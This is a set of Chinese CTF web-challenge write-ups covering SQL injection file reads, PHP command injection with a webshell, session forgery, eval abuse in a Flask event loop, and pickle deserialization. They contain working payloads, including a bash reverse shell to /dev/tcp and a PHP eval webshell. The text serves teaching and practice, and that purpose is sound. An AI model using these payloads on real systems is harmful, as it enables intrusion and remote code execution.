意思是:先进入/tmp目录,解压了html.zip文件(得到/tmp/html),之后将html.zip删除了,拷贝了一份html给了/var/www目录(得到/var/www/html),之后将/var/www/html下的.DS_Store文件删除,但是/tmp/html下的.DS_Store文件没有删除,查看一下

  • .DS_Store:这个文件是常见的备份文件
1
',content=(load_file("/tmp/html/.DS_Store")),/*

得到

.DS_Store经常会有一些不可见的字符,使用hex函数对其进行16进制转换

ascii hex解码得到

发现了flag_8946e1ff1ee3e40f.php
尝试查看/tmp/html/flag_8946e1ff1ee3e40f.php

1
',content=(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php")),/*

什么都没有,加上hex

1
',content=(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*

得到

但这个flag是错的
真实的flag在/var/www/html下

1
',content=(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

[羊城杯 2020]Easyphp2


可以看到url中有文件读取,那么用伪协议读一下源码

关键字被过滤了,双重url编码

1
?file=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=GWHT.php

获得内容
解码后获得GWHT.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>count is here</title>

<style>

html,
body {
overflow: none;
max-height: 100vh;
}

</style>
</head>

<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">

<center><img src="question.jpg" height="200" width="200" /> </center>

<?php
ini_set('max_execution_time', 5);

if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>

<h1>A Counter is here, but it has someting wrong</h1>

<form>
<input type="hidden" value="GWHT.php" name="file">
<textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
<input type="submit">
</form>

<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>

</body>

</html>

有两个php语句

1
2
3
4
5
6
7
8
9
<?php
ini_set('max_execution_time', 5);

if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>

这一段意思就是cookie不能为PASS,要等于GWHT

第二段是要我们命令执行

1
2
3
4
5
6
7
8
9
<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>

简化一下是这样,虽然它过滤了<?php但是我们可以用<?=代替

1
printf '  $count  ' | wc -c

payload

1
'|echo "<?= eval(\$_POST['cmd'])?>" |tee a.php|'

合起来就是这样,意思是把shell写入a.php文件里

1
printf ''|echo "<?= eval(\$_POST['cmd'])?>" |tee a.php | '' | wc -c

更改cookie后提交一下payload

然后我们可以用蚁剑登录了

find命令找到flag路径

发现没办法查看

flag路径下还发现了passwd

这下要解析一下,不知道网上的大佬都是怎么爆出来的
反正最终解密下来是GWHTCTF
接下来就是su提权
直接切换用户不行,因为蚁剑shell不是完整tty
payload

1
echo 'GWHTCTF' | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'


得到flag
但我们也可以直接查看环境变量来找到flag

[HFCTF2020]BabyUpload

打开靶机给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

分析一下
前面设置了session存储路径,启动了session并根目录下包含flag

1
2
3
4
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";

如果session的username为admin,判断/var/babyctf下是否有success.txt,如果存在,删除文件并输出$flag
否则设置username为guest

1
2
3
4
5
6
7
8
9
10
11
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}

设置两个post参数direction、attr,$dir_path拼接路径,若$attr为private,在$dir_path的基础上再凭借一个username

1
2
3
4
5
6
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}

如果direction设置为upload,首先判断是否正常上传,通过则在$dir_path下拼接文件名,之后再拼接一个_,同时加上文件名的sha256值,之后限制目录穿越,创建相应目录,把文件上传到目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
}

若direction设置为download,读取上传上来的文件名,拼接为$file_path,限制目录穿越,判断是否存在,存在则返回文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
elseif ($direction === "download") {//如果direction设置为download
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}

可知要获取flag需满足

1
2
$_SESSION[‘username’] ===‘admin’
$filename=’/var/babyctf/success.txt’

也就是说我们要伪造自己的username是admin,并创建一个success.txt文件

伪造session
php的session默认存储文件名是sess_+PHPSESSID的值,我们先看一下session文件内容
构造direction=download&attr=&filename=sess_028edebc1c488c84a0f6de78e725b60c post传入,在返回内容中读到内容

可以看到还有一个不可见字符,参考PHP中SESSION反序列化机制可知
不同引擎所对应的session的存储方式有

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化存储的值

因此我们可以判断这里session处理器为php_binary,那么我们可以在本地利用php_binary生成我们要伪造的session文件。

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("D:\\websafe\\phpstorm\\php_project\\");
session_start();

$_SESSION['username'] = 'admin';



将文件名改为sess并计算sha256

这样,如果我们将sess文件上传,服务器储存该文件的文件名就应该是
sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
用postman将文件传上去

构造direction=download&attr=&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4看是否上传成功

这样就实现了伪造

创建success.txt
先在还需要创建一个success.txt来满足判断,回到代码

1
2
3
4
5
6
7
8
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}

filename是通过file_exists来判断的,而file_exists函数在php中是检查文件或目录是否存在的
文件名设置不了,直接创建目录也符合条件,将attr设置为success.txt创建目录,再将sess上传到该目录下即可绕过判断

可以看到已经上传成功

那么现在我们把cookie改为admin

[羊城杯 2020]Blackcat

访问页面,查看源码

提示要听歌,听完后没什么东西,把MP3文件下载到本地,用记事本打开
在结尾给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

函数hash_hmac($algo,$data,$key)
当传入的$data为数组时,加密得到的结果固定为NULL
我们可以让White-cat-monitor的值是一个数组,这样使得clandestine的值为null,
然后第四行就可以看成:$hh = hash_hmac(‘sha256’, $_POST[‘One-ear’], null);
要知道hh的值,我们得定义一个One-ear得值:由于exec只返回命令执行结果的最后一行内容,我们可以使用;(闭合前面的nc)来执行多条命令,然后使用dir来显示文件夹内容,所以One-ear=;dir,那么hh的值为:

然偶使Black-Cat-Sheiff的值等于hh的值。
payload

1
White-cat-monitor[]=1&Black-Cat-Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&One-ear=;dir


抓flag

1
2
White-cat-monitor[]=1&Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
&One-ear=;cat flag.php


buu的flag藏在env中

[DDCTF 2019]homebrew event loop


点击view source code查看源码
Python文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
return '*********************' # censored


def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack


class RollBackException:
pass


def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp


@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html


def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')


def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])


def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume


def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

首先我们从路由出手,然后我们慢慢去看它调用了哪些函数,这里只用了一个路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------

flask常用的接受参数方法

当我们看到第81行就知道,querystring = urllib.unquote(request.query_string)接收url?后面的所有的值,然后进行url编码,传入参数querystring中

接着有个判断条件

1
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100

结合上面,如果没有传递任何参数为空或者不是action开头

1
not querystring.startswith('action:')

又或者上传参数长度大于100

1
or len(querystring) > 100

那么就会进入条件判断语句,强化初始化参数

1
querystring = 'action:index;False#False'

后面的内容就是我们买钻石的网站,我们先盲猜一下num_items是我们买东西的清单,如果我们什么都没买,就是初始化session中的列表

1
2
3
session['num_items'] = 0
session['points'] = 3
session['log'] = []

从现在来看,之前的一切都是在为我们买东西做准备,接受了我们的参数以后,如果我们没有买东西,就是我们初步登录的这个界面,将我们一切东西初始化。重点是下面三个

1
2
3
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

request.prev_session = dict(session)这把刚刚初始化的session用字典的形式传给了这个参数到了trigger_event(querystring),我们看到了一个函数trigger_event,跟进这个函数

1
2
3
4
5
6
7
8
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

可以看到,实际上trigger_envent的形参event就是我们刚刚获得url?后面的参数querystring。并且将它加入到session['log']这个日志
第一个if

1
2
if len(session['log']) > 5:
session['log'] = session['log'][-5:]

举个栗子

也就是要后面5个,前面都不要了
第二个if

1
2
if type(event) == type([]):
request.event_queue += event

如果我们刚刚传入的参数也就是url?后面的字符串是列表类型,就合并。这两个列表request.event_queue和event合并在一起,request.event_queue在前面定义了

1
2
3
4
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []

虽然它之前在路由定义的,现在函数里面仍然能用,因为它是全局变量,即使函数没有声明,也可以使用。列表也是可以合并的

1
2
3
a=[1,5]
b=[3,4,5]
a+b=[1,3,4,5,5]

如果没有进行第二个if条件判断,就执行request.event_queue.append(event)加入到这个列表当中
这时候看return的返回函数return execute_event_loop(),继续跟进函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

首先初始化设置了两个参数

1
2
3
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None

进入while循环吗?我们 再来想一下request.event_queue是什么

也就是我们url?后面的字符串,加入到这个列表中,以后不会再重复了
while循环一进来是这个

1
2
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]

就是将我们刚刚输入的字符串的列表第一个赋值给event,然后删除了第一个值,因为第一个值已经给了event,然后删除了第一个值,因为第一个值已经给了event,没必要留着

1
2
3
4
5
6
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break

如果我们第一个字符串开头不是action或func,就进入if判断语句继续。下一个for循环一次检验event中有没有字符
重点来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

这个开头is_action=event[0]==’a’作用是什么,我们还不知道,先放着
下面两个我们可以看到有同一个函数get_mid_str
action = get_mid_str(event, ‘:’, ‘;’)

args = get_mid_str(event, action+’;’).split(‘#’)

1
2
3
4
5
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

action是由实际作用,因为eval函数会用到,args函数不知道有啥用,大佬的wp是:返回列表到args里,所以很明显,我们上传的参数就是action开头,才能上传过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

def ACTION_handler():pass

event = 'action:ACTION;ARGS0#ARGS1#ARGS2'
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
print '[!] action:',action
args = get_mid_str(event, action+';').split('#')
print '[!] args:',args
event_handler = eval(action + ('_handler' if is_action else '_function'))
print '[!] event_handler:',event_handler


event_handler函数就是用eval拼接,从而得到了处理函数,eval函数的本质就是将字符串str当成有效的表达式来求值并且返回计算结果,程序过滤了大部分的特殊符号,导致我们不能随意使用代码注入,不过由于args使用#进行分割,而#在python代码中是注释符,在action中加入#。可以把后面的_handler注释掉。上面的代码用event = ‘action:str#;ARGS0#ARGS1#ARGS2’进行测试

1
2
3
[!] action: str#
[!] args: ['ARGS0', 'ARGS1', 'ARGS2']
[!] event_handler: <type 'str'>

其他没啥分析,我们找到可以控制的点
我们去找找如何得到flag
我们看到flag函数是不带参数

现在,我们可以控制event_handler运行指定的参数,不过还有一个问题是FLAG()函数是不带参数,而args为list,直接传入action:FLAG,将产生报错
我们发现show_flag_function是没办法得到flag,应为return flag被注释了,只是将它放到flag中,想要得到flag只能用get_flag_handler()可以得到flag,而得到flag
的条件是if session['num_items'] >= 5 ,于是我们进入题目界面,去买钻石,发现最多买3个,不能买5个以及5个。我们看一下买钻石的函数

发现存在逻辑漏洞:第148行,就是我们的钱无论够不够,他都会给我们先加上,然后扣掉
若让eval()去执行trigger_event(),并且在后面跟两个命令作为参数,分别是buy和get_flag,那么buy和get_flag便先后进入队列
根据顺序会先执行buy_handler(),此时consume_point进入队列,排在get_flag之后,我们的目标达成。
构造payload

1
?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23


我们把得到的session放到flask-session-cookie-manager-master进行解密

1
python3 flask_session_cookie_manager3.py decode -c 'session'



还有一个flask session解密脚本
脚本来源https://www.leavesongs.com/PENETRATION/client-session-security.html

季博杯挑战赛 记得匿名哟~

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = new class {
function getflag()
{
system('cat /flag.txt');
}
};
unset($a);
$a = $_GET['class'];
$f = new $a();
$f->getflag();
?>

匿名类的实例化
此题参考2024红明谷杯初赛
最终payload

1
?class=class@anonymous%00/var/www/html/index.php:4$0

解释一下payload

  • class@anonymous:是匿名类的名称,固定
  • /var/www/html/index.php:是匿名类所在的文件
  • 4:是匿名类在这个文件的第几行
  • 0:是这个匿名类是第几次创建,环境刚创建时是0

[CTF复现计划]2024红明谷 Web
这个wp更详细一点,用get_class可以查看匿名类的内存

[HFCTF 2021 Final]easyflask

知识点:pickle反序列化,session伪造

pickle学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
data = ['aa','bb','cc']
#dumps 将数据通过特殊的形式转换为只有python语言认识的字符串
p = pickle.dumps(data)
print(p)

#将pickle数据转换为python的数据结构
p1 = pickle.loads(p)
print(p1)

#dump 将数据通过特殊的形式转换为只有python语言认识的字符串然后写入文件
with open('D:/php/tmp.pk','wb') as f:
#这个函数要求读写文件以二进制读写,所以上面的需要是wb
pickle.dump(data,f)

with open('D:/php/tmp.pk','rb') as f:
#这个函数要求读写文件以二进制读写,所以上面的需要是rb
data = pickle.load(f)
print(data)

运行结果

python反序列化实例分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import os

class Test2(object):
def __reduce__(self):
#被调用函数的参数
cmd = "/usr/bin/id"
return (os.system,(cmd,))

if __name__ == "__main__":
test = Test2()
#执行序列化操作
result1 = pickle.dumps(test)
#执行反序列化操作
result2 = pickle.loads(result1)

在序列化操作的时候,不执行__reduce__函数;当执行反序列化操作的时候,执行__reduce__函数

(os.system,(cmd,))中的,应该是消除歧义的

反序列化漏洞出现在__reduce__()魔法函数上,这一点和PHP中的__wakeup()魔术方法类似,都是因为每当反序列化过程开始或者结束时,都会自动调用这类函数。二者恰好是反序列化漏洞经常出现的地方。
而且在反序列化过程中,因为编程语言需要根据反序列化字符串去解析出自己独特的语言数据结构,所以就必须要在内部把解析出来的结构去执行一下。如果在反序列化过程中出现问题,便可能直接造成RCE漏洞。
另外pickle.loads会解决import问题,对于未引用的module会自动尝试import。那么也就是说整个python标准库的代码执行,命令执行函数都可以进行使用。

官方文档中的解释

获取源码
打开容器,提示/file?file=index.js
进入后,提示/app/source,再次进入获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content


@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

解题步骤

读取secret_key
在/file路由下,读取/proc/self/environ

1
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

反序列化脚本
在/admin路由下,存在python反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64encode


User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())

这里用python2和python3运行的结果是不一样的,但测试后都可以发挥作用

接下来就是伪造session
用的是flask_session_cookie_manager3

1
python3 flask_session_cookie_manager3.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'刚才的编码'}}"

然后访问/admin路由,修改cookie,在vps上监听端口即可,反弹shell即可得到flag

[watevrCTF-2019]Pickle Store


这里首先想的是抓包看能不能修改参数以获得第三个商品的flag
但是抓过包之后发现并没有除cookie外能修改的参数
仔细查看cookie,发现这和pickle反序列化的字符串进行base64编码很像

1
